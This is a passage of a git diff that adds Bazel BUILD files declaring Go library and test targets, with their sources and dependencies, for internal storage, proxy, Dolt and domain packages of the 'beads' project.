000000000..b8ea518aa --- /dev/null +++ b/internal/migration/legacysqlite/BUILD.bazel @@ -0,0 +1,27 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "legacysqlite", + srcs = [ + "reader.go", + "reader_nocgo.go", + ], + importpath = "github.com/steveyegge/beads/internal/migration/legacysqlite", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/storage/issueops", + "//internal/types", + "@com_github_mattn_go_sqlite3//:go-sqlite3", + ], +) + +go_test( + name = "legacysqlite_test", + srcs = ["reader_test.go"], + embed = [":legacysqlite"], + deps = [ + "//internal/storage/issueops", + "//internal/types", + "@com_github_mattn_go_sqlite3//:go-sqlite3", + ], +) diff --git a/internal/molecules/BUILD.bazel b/internal/molecules/BUILD.bazel new file mode 100644 index 000000000..d2f31c014 --- /dev/null +++ b/internal/molecules/BUILD.bazel @@ -0,0 +1,28 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "molecules", + srcs = ["molecules.go"], + importpath = "github.com/steveyegge/beads/internal/molecules", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/debug", + "//internal/storage", + "//internal/types", + ], +) + +go_test( + name = "molecules_test", + srcs = [ + "molecules_test.go", + "testmain_test.go", + ], + embed = [":molecules"], + deps = [ + "//internal/storage", + "//internal/storage/dolt", + "//internal/testutil", + "//internal/types", + ], +) diff --git a/internal/notion/BUILD.bazel b/internal/notion/BUILD.bazel new file mode 100644 index 000000000..925e24004 --- /dev/null +++ b/internal/notion/BUILD.bazel @@ -0,0 +1,36 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "notion", + srcs = [ + "auth.go", + "client.go", + "fieldmapper.go", + "mapping.go", + "refs.go", + "tracker.go", + "types.go", + ], + importpath = "github.com/steveyegge/beads/internal/notion", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/config", + "//internal/tracker", + "//internal/types", + ], +) + +go_test( + name = "notion_test", + srcs = [ + "client_test.go", + "mapping_test.go", + "refs_test.go", + "tracker_test.go", + ], + embed = [":notion"], + deps = [ + "//internal/tracker", + "//internal/types", + ], +) diff --git a/internal/procid/BUILD.bazel b/internal/procid/BUILD.bazel new file mode 100644 index 000000000..152135fe8 --- /dev/null +++ b/internal/procid/BUILD.bazel @@ -0,0 +1,51 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "procid", + srcs = [ + "procid.go", + "procid_darwin.go", + "procid_linux.go", + "procid_unsupported.go", + "procid_windows.go", + ], + importpath = "github.com/steveyegge/beads/internal/procid", + visibility = ["//:__subpackages__"], + deps = select({ + "@rules_go//go/platform:android": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:darwin": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:ios": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:linux": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:windows": [ + "@org_golang_x_sys//windows", + ], + "//conditions:default": [], + }), +) + +go_test( + name = "procid_test", + srcs = [ + "procid_linux_test.go", + "procid_test.go", + "procid_windows_test.go", + ], + embed = [":procid"], + deps = select({ + "@rules_go//go/platform:android": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:linux": [ + "@org_golang_x_sys//unix", + ], + "//conditions:default": [], + }), +) diff --git a/internal/query/BUILD.bazel b/internal/query/BUILD.bazel new file mode 100644 index 000000000..acaf1e8dd --- /dev/null +++ b/internal/query/BUILD.bazel @@ -0,0 +1,28 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "query", + srcs = [ + "evaluator.go", + "lexer.go", + "parser.go", + ], + importpath = "github.com/steveyegge/beads/internal/query", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/storage", + "//internal/timeparsing", + "//internal/types", + ], +) + +go_test( + name = "query_test", + srcs = ["query_test.go"], + embed = [":query"], + deps = [ + "//internal/storage", + "//internal/timeparsing", + "//internal/types", + ], +) diff --git a/internal/recipes/BUILD.bazel b/internal/recipes/BUILD.bazel new file mode 100644 index 000000000..34a312aa7 --- /dev/null +++ b/internal/recipes/BUILD.bazel @@ -0,0 +1,22 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "recipes", + srcs = [ + "recipes.go", + "template.go", + ], + importpath = "github.com/steveyegge/beads/internal/recipes", + visibility = ["//:__subpackages__"], + deps = [ + "//plugins/beads", + "@com_github_burntsushi_toml//:toml", + ], +) + +go_test( + name = "recipes_test", + srcs = ["recipes_test.go"], + embed = [":recipes"], + deps = ["//plugins/beads"], +) diff --git a/internal/remotecache/BUILD.bazel b/internal/remotecache/BUILD.bazel new file mode 100644 index 000000000..b7c2fb877 --- /dev/null +++ b/internal/remotecache/BUILD.bazel @@ -0,0 +1,30 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "remotecache", + srcs = [ + "cache.go", + "url.go", + ], + importpath = "github.com/steveyegge/beads/internal/remotecache", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/configfile", + "//internal/debug", + "//internal/githooksenv", + "//internal/gittraceenv", + "//internal/lockfile", + "//internal/storage", + ], +) + +go_test( + name = "remotecache_test", + srcs = [ + "cache_test.go", + "doltcmd_test.go", + "url_test.go", + ], + embed = [":remotecache"], + deps = ["//internal/githooksenv"], +) diff --git a/internal/routing/BUILD.bazel b/internal/routing/BUILD.bazel new file mode 100644 index 000000000..5b24e7fcd --- /dev/null +++ b/internal/routing/BUILD.bazel @@ -0,0 +1,16 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "routing", + srcs = ["routing.go"], + importpath = "github.com/steveyegge/beads/internal/routing", + visibility = ["//:__subpackages__"], + deps = ["//internal/git"], +) + +go_test( + name = "routing_test", + srcs = ["routing_test.go"], + embed = [":routing"], + deps = ["//internal/git"], +) diff --git a/internal/storage/BUILD.bazel b/internal/storage/BUILD.bazel new file mode 100644 index 000000000..b0cc3e99c --- /dev/null +++ b/internal/storage/BUILD.bazel @@ -0,0 +1,111 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "storage", + srcs = [ + "advanced_queries.go", + "annotation_queries.go", + "batch.go", + "batch_apply.go", + "bulk_issues.go", + "child_counter_reservation.go", + "compaction.go", + "config_metadata.go", + "dependency_queries.go", + "diff_store.go", + "directory_size.go", + "errors_unsupported.go", + "event_queries.go", + "federation.go", + "history_presence.go", + "history_viewer.go", + "hook_batch_applier.go", + "hook_batch_closer.go", + "hook_batch_creator.go", + "hook_blockingannotator.go", + "hook_bootstrapper.go", + "hook_commenter.go", + "hook_counter.go", + "hook_cycle_detector.go", + "hook_decorator.go", + "hook_deleter.go", + "hook_dependency_editor.go", + "hook_edgereader.go", + "hook_graph_counter.go", + "hook_init_verifier.go", + "hook_issue_claimer.go", + "hook_issue_operations.go", + "hook_issue_reader.go", + "hook_memories.go", + "hook_metadata_cas.go", + "hook_querier.go", + "hook_ready_claimer.go", + "hook_ready_counter.go", + "hook_relations.go", + "hook_releaser.go", + "hook_stats_reporter.go", + "hook_sweeper.go", + "hook_tree_walker.go", + "hook_version_reconciler.go", + "hook_workspace_config.go", + "issue_create_dependencies.go", + "iter.go", + "merge_slot.go", + "metadata.go", + "metadata_cas.go", + "remote.go", + "storage.go", + "sync.go", + "version_control.go", + "versioned.go", + "wake_defers.go", + ], + importpath = "github.com/steveyegge/beads/internal/storage", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/hooks", + "//internal/types", + "//issueops", + "//journalops", + "//memoryops", + ], +) + +go_test( + name = "storage_test", + srcs = [ + "batch_apply_test.go", + "contract_leg_registry_test.go", + "directory_size_test.go", + "hook_batch_applier_test.go", + "hook_batch_closer_test.go", + "hook_commenter_test.go", + "hook_decorator_internal_test.go", + "hook_decorator_test.go", + "hook_dependency_editor_test.go", + "hook_issue_claimer_test.go", + "hook_issue_operations_test.go", + "hook_issue_reader_test.go", + "hook_metadata_cas_test.go", + "hook_ready_claimer_test.go", + "hook_relations_test.go", + "hook_releaser_test.go", + "hook_role_census_test.go", + "journal_facade_test.go", + "leg_contract_wiring_test.go", + "metadata_cas_test.go", + "metadata_edit_value_test.go", + "metadata_jsonpath_test.go", + "metadata_schema_test.go", + "metadata_test.go", + "role_accessor_decorator_test.go", + ], + embed = [":storage"], + deps = [ + "//internal/hooks", + "//internal/types", + "//issueops", + "//journalops", + "//memoryops", + ], +) diff --git a/internal/storage/backendnames/BUILD.bazel b/internal/storage/backendnames/BUILD.bazel new file mode 100644 index 000000000..1ba5ad004 --- /dev/null +++ b/internal/storage/backendnames/BUILD.bazel @@ -0,0 +1,8 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "backendnames", + srcs = ["backendnames.go"], + importpath = "github.com/steveyegge/beads/internal/storage/backendnames", + visibility = ["//:__subpackages__"], +) diff --git a/internal/storage/backends/BUILD.bazel b/internal/storage/backends/BUILD.bazel new file mode 100644 index 000000000..46c4a10df --- /dev/null +++ b/internal/storage/backends/BUILD.bazel @@ -0,0 +1,26 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "backends", + srcs = ["backends.go"], + importpath = "github.com/steveyegge/beads/internal/storage/backends", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/storage", + "//internal/storage/backendnames", + ], +) + +go_test( + name = "backends_test", + srcs = [ + "backends_test.go", + "classification_deregister_test.go", + "classification_test.go", + ], + deps = [ + ":backends", + "//internal/configfile", + "//internal/storage", + ], +) diff --git a/internal/storage/contextinfo/BUILD.bazel b/internal/storage/contextinfo/BUILD.bazel new file mode 100644 index 000000000..91e454b51 --- /dev/null +++ b/internal/storage/contextinfo/BUILD.bazel @@ -0,0 +1,18 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "contextinfo", + srcs = ["provider.go"], + importpath = "github.com/steveyegge/beads/internal/storage/contextinfo", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/storage/domain", + "//internal/storage/domain/fs", + ], +) + +go_test( + name = "contextinfo_test", + srcs = ["provider_test.go"], + embed = [":contextinfo"], +) diff --git a/internal/storage/dberrors/BUILD.bazel b/internal/storage/dberrors/BUILD.bazel new file mode 100644 index 000000000..598858849 --- /dev/null +++ b/internal/storage/dberrors/BUILD.bazel @@ -0,0 +1,22 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "dberrors", + srcs = [ + "errors.go", + "mergerefusal.go", + ], + importpath = "github.com/steveyegge/beads/internal/storage/dberrors", + visibility = ["//:__subpackages__"], + deps = ["@com_github_go_sql_driver_mysql//:mysql"], +) + +go_test( + name = "dberrors_test", + srcs = [ + "errors_test.go", + "mergerefusal_test.go", + ], + embed = [":dberrors"], + deps = ["@com_github_go_sql_driver_mysql//:mysql"], +) diff --git a/internal/storage/dbproxy/identity/BUILD.bazel b/internal/storage/dbproxy/identity/BUILD.bazel new file mode 100644 index 000000000..1208d9581 --- /dev/null +++ b/internal/storage/dbproxy/identity/BUILD.bazel @@ -0,0 +1,22 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "identity", + srcs = [ + "control.go", + "identity.go", + ], + importpath = "github.com/steveyegge/beads/internal/storage/dbproxy/identity", + visibility = ["//:__subpackages__"], + deps = ["//internal/atomicfile"], +) + +go_test( + name = "identity_test", + srcs = ["identity_test.go"], + embed = [":identity"], + deps = [ + "@com_github_stretchr_testify//assert", + "@com_github_stretchr_testify//require", + ], +) diff --git a/internal/storage/dbproxy/pidfile/BUILD.bazel b/internal/storage/dbproxy/pidfile/BUILD.bazel new file mode 100644 index 000000000..9d2efa95b --- /dev/null +++ b/internal/storage/dbproxy/pidfile/BUILD.bazel @@ -0,0 +1,15 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "pidfile", + srcs = ["pidfile.go"], + importpath = "github.com/steveyegge/beads/internal/storage/dbproxy/pidfile", + visibility = ["//:__subpackages__"], + deps = ["//internal/atomicfile"], +) + +go_test( + name = "pidfile_test", + srcs = ["pidfile_test.go"], + embed = [":pidfile"], +) diff --git a/internal/storage/dbproxy/proxy/BUILD.bazel b/internal/storage/dbproxy/proxy/BUILD.bazel new file mode 100644 index 000000000..1cf5600a3 --- /dev/null +++ b/internal/storage/dbproxy/proxy/BUILD.bazel @@ -0,0 +1,85 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "proxy", + srcs = [ + "backend.go", + "control.go", + "endpoint.go", + "endpoint_unix.go", + "endpoint_windows.go", + "force_stop.go", + "process_executable_darwin.go", + "process_executable_linux.go", + "process_executable_windows.go", + "proxy.go", + "read_status.go", + "server.go", + "shutdown.go", + "stats.go", + "unverified_process_darwin.go", + "unverified_process_linux.go", + "unverified_process_unsupported.go", + "unverified_process_windows.go", + ], + importpath = "github.com/steveyegge/beads/internal/storage/dbproxy/proxy", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/atomicfile", + "//internal/configfile", + "//internal/debug", + "//internal/fdhygiene", + "//internal/lockfile", + "//internal/procid", + "//internal/storage/dbproxy/identity", + "//internal/storage/dbproxy/pidfile", + "//internal/storage/dbproxy/server", + "//internal/storage/dbproxy/util", + "@com_github_cenkalti_backoff_v4//:backoff", + "@org_golang_x_sync//errgroup", + ] + select({ + "@rules_go//go/platform:android": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:darwin": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:ios": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:linux": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:windows": [ + "@org_golang_x_sys//windows", + ], + "//conditions:default": [], + }), +) + +go_test( + name = "proxy_test", + srcs = [ + "backend_dial_timeout_test.go", + "control_test.go", + "endpoint_mismatch_test.go", + "endpoint_no_data_probe_test.go", + "endpoint_security_test.go", + "endpoint_spawn_stop_unix_test.go", + "external_transport_lifecycle_internal_test.go", + "force_stop_linux_test.go", + "server_epoch_internal_test.go", + "server_test.go", + ], + embed = [":proxy"], + deps = [ + "//internal/configfile", + "//internal/procid", + "//internal/storage/dbproxy/identity", + "//internal/storage/dbproxy/pidfile", + "//internal/storage/dbproxy/server", + "//internal/storage/dbproxy/util", + "@com_github_stretchr_testify//assert", + "@com_github_stretchr_testify//require", + ], +) diff --git a/internal/storage/dbproxy/server/BUILD.bazel b/internal/storage/dbproxy/server/BUILD.bazel new file mode 100644 index 000000000..a19f910bd --- /dev/null +++ b/internal/storage/dbproxy/server/BUILD.bazel @@ -0,0 +1,49 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "server", + srcs = [ + "doltserver.go", + "external_dolt_server.go", + "server.go", + "testserver.go", + ], + importpath = "github.com/steveyegge/beads/internal/storage/dbproxy/server", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/configfile", + "//internal/doltserver", + "//internal/procid", + "//internal/storage/dbproxy/identity", + "//internal/storage/dbproxy/pidfile", + "//internal/storage/dbproxy/util", + "//internal/storage/versioncontrolops", + "@com_github_cenkalti_backoff_v4//:backoff", + "@com_github_dolthub_dolt_go//libraries/doltcore/servercfg", + "@com_github_dolthub_dolt_go//libraries/utils/filesys", + "@com_github_go_sql_driver_mysql//:mysql", + "@org_golang_x_sync//errgroup", + ], +) + +go_test( + name = "server_test", + srcs = [ + "doltserver_test.go", + "external_dolt_server_test.go", + "testmain_test.go", + "testserver_test.go", + ], + embed = [":server"], + deps = [ + "//internal/configfile", + "//internal/doltserver", + "//internal/lockfile", + "//internal/procid", + "//internal/storage/dbproxy/pidfile", + "//internal/testutil", + "@com_github_go_sql_driver_mysql//:mysql", + "@com_github_stretchr_testify//assert", + "@com_github_stretchr_testify//require", + ], +) diff --git a/internal/storage/dbproxy/util/BUILD.bazel b/internal/storage/dbproxy/util/BUILD.bazel new file mode 100644 index 000000000..a22dc23b4 --- /dev/null +++ b/internal/storage/dbproxy/util/BUILD.bazel @@ -0,0 +1,21 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "util", + srcs = [ + "dsn.go", + "flock.go", + ], + importpath = "github.com/steveyegge/beads/internal/storage/dbproxy/util", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/lockfile", + "@com_github_go_sql_driver_mysql//:mysql", + ], +) + +go_test( + name = "util_test", + srcs = ["dsn_test.go"], + embed = [":util"], +) diff --git a/internal/storage/depid/BUILD.bazel b/internal/storage/depid/BUILD.bazel new file mode 100644 index 000000000..8e8601144 --- /dev/null +++ b/internal/storage/depid/BUILD.bazel @@ -0,0 +1,15 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "depid", + srcs = ["depid.go"], + importpath = "github.com/steveyegge/beads/internal/storage/depid", + visibility = ["//:__subpackages__"], + deps = ["@com_github_google_uuid//:uuid"], +) + +go_test( + name = "depid_test", + srcs = ["depid_test.go"], + embed = [":depid"], +) diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel new file mode 100644 index 000000000..eec61f3f6 --- /dev/null +++ b/internal/storage/dolt/BUILD.bazel @@ -0,0 +1,354 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "dolt", + srcs = [ + "batch_applier.go", + "batch_closer.go", + "batch_creator.go", + "blockingannotator.go", + "bootstrap.go", + "bootstrapper.go", + "circuit.go", + "claim_verify.go", + "commenter.go", + "compact.go", + "config.go", + "counter.go", + "counts.go", + "credentials.go", + "cycle_detector.go", + "deleter.go", + "dependencies.go", + "dependency_editor.go", + "edgereader.go", + "ephemeral_routing.go", + "errors.go", + "events.go", + "federation.go", + "filters.go", + "gateway_credential.go", + "graph_counter.go", + "history.go", + "init_verifier.go", + "issue_claimer.go", + "issue_operations.go", + "issue_operations_tx.go", + "issue_reader.go", + "issue_scan.go", + "issues.go", + "iter_dependents.go", + "iter_issues.go", + "iter_stubs.go", + "journal_accessor.go", + "labels.go", + "memories.go", + "merge_slot.go", + "metadata_cas.go", + "metadata_schema.go", + "open.go", + "provenance.go", + "pull_report.go", + "querier.go", + "queries.go", + "ready_claimer.go", + "ready_counter.go", + "relations.go", + "releaser.go", + "rename.go", + "schema.go", + "slots.go", + "stats_reporter.go", + "store.go", + "sweeper.go", + "transaction.go", + "tree_walker.go", + "util.go", + "version_reconciler.go", + "versioned.go", + "wisps.go", + "workspace_config.go", + ], + importpath = "github.com/steveyegge/beads/internal/storage/dolt", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/config", + "//internal/configfile", + "//internal/creds", + "//internal/debug", + "//internal/doltserver", + "//internal/githooksenv", + "//internal/gittraceenv", + "//internal/idgen", + "//internal/lockfile", + "//internal/memoryapi", + "//internal/remotecache", + "//internal/storage", + "//internal/storage/dberrors", + "//internal/storage/doltutil", + "//internal/storage/domain", + "//internal/storage/issueops", + "//internal/storage/kvkeys", + "//internal/storage/memoryops", + "//internal/storage/schema", + "//internal/storage/sqlbuild", + "//internal/storage/versioncontrolops", + "//internal/types", + "//internal/workapi", + "//internal/workapi/storecounter", + "//internal/workapi/storequerier", + "//internal/workapi/storereader", + "//internal/workapi/storereadycounter", + "//internal/workapi/storestats", + "//internal/workapi/storeversionreconciler", + "//internal/workapi/storeworkspaceconfig", + "//issueops", + "//memoryops", + "@com_github_cenkalti_backoff_v4//:backoff", + "@com_github_go_sql_driver_mysql//:mysql", + "@com_github_google_uuid//:uuid", + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel//attribute", + "@io_opentelemetry_go_otel//codes", + "@io_opentelemetry_go_otel_metric//:metric", + "@io_opentelemetry_go_otel_trace//:trace", + ], +) + +go_test( + name = "dolt_test", + srcs = [ + "active_database_size_test.go", + "autostart_test.go", + "aux_row_id_rekey_test.go", + "batch_apply_contract_test.go", + "batch_closer_contract_test.go", + "batch_creator_contract_test.go", + "blocked_consistency_test.go", + "blocked_full_repair_test.go", + "blocked_merge_test.go", + "blocked_recompute_guard_test.go", + "blocking_annotator_contract_test.go", + "bootstrap_test.go", + "bootstrapper_contract_test.go", + "central_config_integration_test.go", + "checked_wrapper_smoke_test.go", + "circuit_test.go", + "claim_commit_boundary_test.go", + "claim_custom_status_test.go", + "claim_verify_test.go", + "claim_wrapper_smoke_test.go", + "claimer_contract_test.go", + "cli_transfer_timeout_test.go", + "close_issue_checked_test.go", + "close_policy_gate_test.go", + "commenter_contract_test.go", + "commenter_persistence_test.go", + "comments_page_test.go", + "commit_all_test.go", + "commit_dirty_wisp_test.go", + "compact_test.go", + "concurrent_test.go", + "conflicts_integration_test.go", + "conflicts_unwrap_test.go", + "conformance_test.go", + "connection_pool_test.go", + "count_include_wisps_test.go", + "counter_contract_test.go", + "counts_wisp_test.go", + "create_guard_test.go", + "create_issue_commit_test.go", + "credentials_test.go", + "cross_project_test.go", + "cross_record_invariant_contract_test.go", + "cross_upgrade_merge_test.go", + "crosstier_dep_test.go", + "custom_status_test.go", + "cycle_detector_contract_test.go", + "deleter_contract_test.go", + "demote_to_wisp_test.go", + "dependencies_conflict_test.go", + "dependencies_extended_test.go", + "dependencies_merge_test.go", + "dependencies_rename_rekey_test.go", + "dependencies_type_conflict_test.go", + "dependency_commit_boundary_test.go", + "dependency_coordination_test.go", + "dependency_editor_contract_test.go", + "dependency_editor_test.go", + "dependency_events_test.go", + "dependents_records_test.go", + "derived_id_insert_test.go", + "dolt_benchmark_purge_test.go", + "dolt_benchmark_safety_test.go", + "dolt_benchmark_test.go", + "dolt_commit_ordering_test.go", + "dolt_sql_large_script_test.go", + "dolt_test.go", + "draincall_regression_test.go", + "dualwrite_history_contract_test.go", + "edge_reader_contract_test.go", + "empty_commit_test.go", + "ephemeral_routing_test.go", + "errors_test.go", + "event_commit_boundary_test.go", + "events_since_test.go", + "events_test.go", + "expected_revision_contract_test.go", + "federation_pull_settle_test.go", + "field_length_test.go", + "filters_test.go", + "fk_cascade_merge_test.go", + "fsck_test.go", + "gateway_credential_test.go", + "gateway_session_test.go", + "generated_dependency_target_repro_test.go", + "graph_counter_contract_test.go", + "history_presence_contract_test.go", + "history_test.go", + "identity_mismatch_message_test.go", + "indeterminate_commit_test.go", + "initschema_concurrent_test.go", + "initschema_fresh_bootstrap_heal_test.go", + "initschema_gate_test.go", + "initschema_pool_poison_test.go", + "is_blocked_batch_test.go", + "is_blocked_filter_test.go", + "is_blocked_test.go", + "issue_lifecycle_test.go", + "issue_operations_behavior_test.go", + "issue_operations_claim_verify_test.go", + "issue_operations_contract_test.go", + "issue_operations_persistence_test.go", + "issue_operations_staging_test.go", + "issue_operations_test.go", + "issues_conflict_test.go", + "joiniter_spike_test.go", + "journal_accessor_test.go", + "journal_contract_test.go", + "journal_coverage_test.go", + "journal_scope_completeness_test.go", + "journal_test.go", + "keyset_search_test.go", + "labels_test.go", + "lease_migration_test.go", + "lease_test.go", + "lifecycle_close_reopen_contract_test.go", + "lifecycle_create_contract_test.go", + "lifecycle_role_hooks_test.go", + "lifecycle_update_contract_test.go", + "lock_error_test.go", + "memories_contract_test.go", + "merge_strategy_test.go", + "metadata_cas_contract_test.go", + "metadata_merge_test.go", + "metadata_schema_test.go", + "metadata_validation_test.go", + "mixed_table_lifecycle_test.go", + "open_test.go", + "port_provenance_test.go", + "portsource_propagation_test.go", + "pr4107_corruption_test.go", + "prune_remote_refs_test.go", + "public_write_circuit_test.go", + "pull_branch_tracking_test.go", + "pull_config_wedge_test.go", + "pull_conflict_test.go", + "pull_report_sql_route_test.go", + "pull_report_test.go", + "querier_contract_test.go", + "querier_over_the_old_window_test.go", + "queries_test.go", + "reader_contract_test.go", + "readonly_server_policy_test.go", + "ready_claimer_contract_test.go", + "ready_counter_contract_test.go", + "relations_contract_test.go", + "releaser_contract_test.go", + "remote_migrate_gate_test.go", + "remote_routing_test.go", + "rename_test.go", + "reopen_category_test.go", + "reopen_routing_test.go", + "reopen_staging_test.go", + "retention_epoch_contract_test.go", + "retry_test.go", + "role_fixture_kit_test.go", + "role_test_helpers_test.go", + "row_version_test.go", + "schema_cli_parity_test.go", + "schema_migration_dirty_test.go", + "schema_migrations_conflict_test.go", + "schema_parity_test.go", + "schema_skew_test.go", + "schema_version_test.go", + "search_counts_parity_test.go", + "search_parity_test.go", + "settlement_commit_boundary_test.go", + "shared_server_predicate_test.go", + "shared_store_migrate_gate_test.go", + "slot_commit_boundary_test.go", + "smart_gate_data_behind_test.go", + "smart_remote_migrate_gate_test.go", + "socket_fallback_test.go", + "stats_reporter_contract_test.go", + "store_branch_pin_test.go", + "store_unit_test.go", + "suite_leak_linux_test.go", + "suite_temp_test.go", + "sweeper_contract_test.go", + "sweeper_typed_wisp_test.go", + "testmain_helper_sentinel_test.go", + "testmain_test.go", + "transaction_borrow_test.go", + "transaction_phase_test.go", + "transaction_test.go", + "transaction_wisp_lifecycle_persistence_test.go", + "tree_walker_contract_test.go", + "tx_reads_test.go", + "update_force_close_policy_test.go", + "update_guards_test.go", + "update_same_status_test.go", + "version_commit_deferred_test.go", + "version_reconciler_contract_test.go", + "versioned_test.go", + "wisp_custom_type_tx_test.go", + "wisp_gc_test.go", + "wisp_infra_dep_test.go", + "wisp_partition_test.go", + "wisp_row_lock_heal_test.go", + "wisp_set_routing_test.go", + "wisp_set_scoped_test.go", + "wisp_validation_test.go", + "wisps_cycle_test.go", + "workspace_config_contract_test.go", + ], + embed = [":dolt"], + deps = [ + "//backend/conformance", + "//internal/config", + "//internal/configfile", + "//internal/doltserver", + "//internal/githooksenv", + "//internal/storage", + "//internal/storage/dberrors", + "//internal/storage/depid", + "//internal/storage/doltutil", + "//internal/storage/domain", + "//internal/storage/issueops", + "//internal/storage/journalscan", + "//internal/storage/rowid", + "//internal/storage/schema", + "//internal/storage/sqlbuild", + "//internal/storage/storagecontract", + "//internal/storage/versioncontrolops", + "//internal/testutil", + "//internal/types", + "//internal/utils", + "//internal/workapi", + "//issueops", + "@com_github_data_dog_go_sqlmock//:go-sqlmock", + "@com_github_go_sql_driver_mysql//:mysql", + "@com_github_google_uuid//:uuid", + ], +) diff --git a/internal/storage/doltutil/BUILD.bazel b/internal/storage/doltutil/BUILD.bazel new file mode 100644 index 000000000..65d7a28f3 --- /dev/null +++ b/internal/storage/doltutil/BUILD.bazel @@ -0,0 +1,31 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "doltutil", + srcs = [ + "close.go", + "dsn.go", + "identifier.go", + "remotes.go", + ], + importpath = "github.com/steveyegge/beads/internal/storage/doltutil", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/doltremote", + "//internal/remotecache", + "//internal/storage", + "@com_github_go_sql_driver_mysql//:mysql", + ], +) + +go_test( + name = "doltutil_test", + srcs = [ + "close_test.go", + "dsn_test.go", + "identifier_test.go", + "persisted_remotes_test.go", + "remotes_test.go", + ], + embed = [":doltutil"], +) diff --git a/internal/storage/domain/BUILD.bazel b/internal/storage/domain/BUILD.bazel new file mode 100644 index 000000000..0e01f0688 --- /dev/null +++ b/internal/storage/domain/BUILD.bazel @@ -0,0 +1,51 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "domain", + srcs = [ + "adaptive.go", + "beads.go", + "child_counter.go", + "comment.go", + "config.go", + "context.go", + "dependency.go", + "events.go", + "git.go", + "infra_types.go", + "issue.go", + "issue_delete.go", + "journal.go", + "label.go", + "raw_sql.go", + "remote.go", + ], + importpath = "github.com/steveyegge/beads/internal/storage/domain", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/config", + "//internal/configfile", + "//internal/idgen", + "//internal/storage", + "//internal/storage/dberrors", + "//internal/types", + "//internal/validation", + "//issueops", + ], +) + +go_test( + name = "domain_test", + srcs = [ + "context_published_test.go", + "context_test.go", + "infra_types_test.go", + "issue_delete_missing_table_test.go", + ], + embed = [":domain"], + deps = [ + "//internal/configfile", + "//internal/types", + "@com_github_go_sql_driver_mysql//:mysql", + ], +) diff --git a/internal/storage/domain/db/BUILD.bazel b/internal/storage/domain/db/BUILD.bazel new file mode 100644 index 000000000..1003101ce --- /dev/null +++ b/internal/storage/domain/db/BUILD.bazel @@ -0,0 +1,121 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "db", + srcs = [ + "batching.go", + "child_counter.go", + "comment.go", + "config.go", + "ddl.go", + "dependency.go", + "dolt.go", + "events.go", + "issue.go", + "issue_descendants.go", + "issue_search.go", + "issue_search_counts.go", + "journal.go", + "label.go", + "raw_sql.go", + "ready_work.go", + "ready_work_union.go", + "remote.go", + "runner.go", + ], + importpath = "github.com/steveyegge/beads/internal/storage/domain/db", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/config", + "//internal/storage", + "//internal/storage/dberrors", + "//internal/storage/depid", + "//internal/storage/domain", + "//internal/storage/issueops", + "//internal/storage/sqlbuild", + "//internal/types", + "//issueops", + ], +) + +go_test( + name = "db_test", + srcs = [ + "batching_test.go", + "child_counter_test.go", + "close_checked_usecase_test.go", + "close_test.go", + "close_usecase_test.go", + "comment_iter_test.go", + "comment_test.go", + "comment_usecase_test.go", + "config_test.go", + "delete_repo_test.go", + "dependency_event_consistency_test.go", + "dependency_extras_test.go", + "dependency_metadata_test.go", + "dependency_null_metadata_test.go", + "dependency_test.go", + "dependency_usecase_extras_test.go", + "dependency_usecase_metadata_test.go", + "dependency_usecase_test.go", + "events_test.go", + "field_length_test.go", + "is_blocked_test.go", + "issue_as_of_test.go", + "issue_cross_tier_test.go", + "issue_descendants_test.go", + "issue_force_close_policy_test.go", + "issue_mergeops_test.go", + "issue_scan_parity_test.go", + "issue_search_counts_missing_table_test.go", + "issue_search_counts_test.go", + 